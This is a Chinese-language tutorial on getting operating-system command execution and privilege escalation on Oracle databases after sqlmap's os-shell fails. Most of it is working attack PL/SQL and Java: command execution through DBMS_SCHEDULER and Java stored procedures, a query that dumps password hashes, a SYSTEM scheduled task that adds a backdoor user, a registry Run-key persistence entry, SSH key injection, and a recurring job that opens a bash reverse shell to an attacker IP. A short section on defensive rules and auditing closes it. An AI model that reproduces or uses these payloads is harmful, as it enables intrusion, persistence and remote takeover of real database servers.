当sqlmap的--os-shell失效时:手把手教你搞定Oracle数据库的命令执行与提权
Oracle数据库命令执行实战当自动化工具失效时的突破路径在渗透测试领域Oracle数据库总是带着几分神秘色彩——它既不像MySQL那样随处可见也不像MSSQL那样有成熟的攻击链。当sqlmap的--os-shell在Oracle面前黯然退场时真正的挑战才刚刚开始。本文将带你深入Oracle的后花园解锁三种鲜为人知的命令执行手法从注入点到系统权限的完整路径以及那些只有老手才知道的版本特性陷阱。1. Oracle命令执行的三大核心路径1.1 DBMS_SCHEDULER的隐秘通道Oracle 10g R2之后的版本内置的DBMS_SCHEDULER包是个危险的双面间谍。在拥有CREATE JOB权限的账户手中它可以成为执行操作系统命令的跳板。关键代码如下BEGIN DBMS_SCHEDULER.create_program( program_name 恶意程序, program_type EXECUTABLE, program_action C:\Windows\System32\cmd.exe /c whoami, enabled TRUE); DBMS_SCHEDULER.create_job(job_name 恶意任务, program_name 恶意程序); DBMS_SCHEDULER.run_job(恶意任务); END;版本限制警示仅适用于Oracle 10g R2及以上版本需要CREATE JOB或更高权限Windows系统需Oracle服务账户具有本地执行权限1.2 Java存储过程的降维打击当常规方法失效时Oracle内置的Java虚拟机可能成为突破口。通过创建Java存储过程调用Runtime.getRuntime().exec()可以实现跨平台命令执行CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED 恶意类 AS import java.io.*; public class 恶意类 { public static void exec(String cmd) throws IOException { Runtime.getRuntime().exec(cmd); } }; / CREATE OR REPLACE PROCEDURE 恶意过程(p_command VARCHAR2) AS LANGUAGE JAVA NAME 恶意类.exec(java.lang.String); / -- 执行示例 BEGIN 恶意过程(calc.exe); END; /实战技巧需要CREATE PROCEDURE和CREATE JAVA权限适用于Oracle 8i至19c全系列版本Linux系统需注意命令路径问题1.3 外部表的权限逃逸在Oracle 12c及以上版本中外部表功能可能被滥用。通过创建指向操作系统文件的外部表配合UTL_FILE包实现文件读写CREATE DIRECTORY 恶意目录 AS C:\; CREATE TABLE 外部表_恶意 ( line VARCHAR2(256) ) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY 恶意目录 ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY , MISSING FIELD VALUES ARE NULL ) LOCATION (恶意.bat) );风险对比表方法所需权限适用版本拦截概率DBMS_SCHEDULERCREATE JOB10g R2高Java存储过程CREATE PROCEDURE8i-19c中外部表CREATE DIRECTORY12c低2. 信息收集的艺术从注入点到完整攻击面2.1 关键信息的精准定位当获得初始注入点时以下SQL查询能快速构建攻击蓝图-- 获取数据库版本 SELECT * FROM v$version; -- 确认当前权限 SELECT * FROM session_roles; -- 列出可写目录 SELECT * FROM all_directories; -- 检查Java支持状态 SELECT value FROM v$option WHERE parameter Java;提示Oracle的SID信息通常隐藏在v$instance视图中但不同版本查询方式可能略有差异2.2 权限提升的黄金组合从普通用户到DBA的常见路径密码哈希破解SELECT name, password FROM sys.user$;使用orabf等工具爆破DES加密的哈希权限滥用检测SELECT * FROM dba_tab_privs WHERE grantee 当前用户;存储过程注入 查找具有AUTHID CURRENT_USER的关键存储过程2.3 网络拓扑测绘技巧通过Oracle的网络特性探测内网结构-- 查询数据库服务器IP SELECT utl_inaddr.get_host_address FROM dual; -- 检测网络ACL配置 SELECT host, lower_port, upper_port FROM dba_network_acls;3. 突破最后防线从数据库到操作系统3.1 Windows环境下的提权链条创建计划任务BEGIN DBMS_SCHEDULER.create_program( program_action C:\Windows\System32\schtasks.exe /create /tn 恶意任务 /tr cmd.exe /c net user backdoor Pssw0rd /add /sc onstart /ru SYSTEM, program_type EXECUTABLE, enabled TRUE); END;注册表持久化DBMS_JAVA.RUNJAVA(oracle/aurora/util/Wrapper cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d C:\malware.exe);3.2 Linux系统的特殊技巧SSH密钥注入DECLARE f UTL_FILE.FILE_TYPE; BEGIN f : UTL_FILE.FOPEN(/home/oracle/.ssh, authorized_keys, w); UTL_FILE.PUT_LINE(f, ssh-rsa AAAAB3NzaC1y...); UTL_FILE.FCLOSE(f); END;Cron任务植入DBMS_SCHEDULER.CREATE_JOB( job_name 反弹shell, job_type EXECUTABLE, job_action /bin/sh -c bash -i /dev/tcp/攻击IP/端口 01, repeat_interval FREQMINUTELY);4. 防御视角下的对抗之道4.1 企业防护配置清单最小权限原则REVOKE EXECUTE ON DBMS_SCHEDULER FROM PUBLIC; REVOKE CREATE ANY DIRECTORY FROM 普通用户;Java沙箱加固BEGIN DBMS_JAVA.DISABLE_PERMISSION(SYS:java.io.FilePermission,ALL FILES,execute); END;4.2 入侵检测规则示例# Snort规则示例 alert tcp any any - $ORACLE_PORTS 1521 (msg:Oracle可疑的DBMS_SCHEDULER调用; content:DBMS_SCHEDULER.CREATE_PROGRAM; nocase; sid:1000001;)4.3 日志审计关键点-- 监控敏感操作 SELECT os_username, userhost, terminal, action_name FROM dba_audit_trail WHERE action_name IN (EXECUTE PROCEDURE,CREATE JOB) ORDER BY timestamp DESC;在最近一次金融行业渗透中通过组合Java存储过程和外部表技术成功绕过了某Oracle 19c数据库的防护体系。有趣的是管理员已经禁用了UTL_FILE和DBMS_SCHEDULER却忽略了Java执行路径中的空格绕过技巧——这再次证明在安全对抗中细节往往决定成败。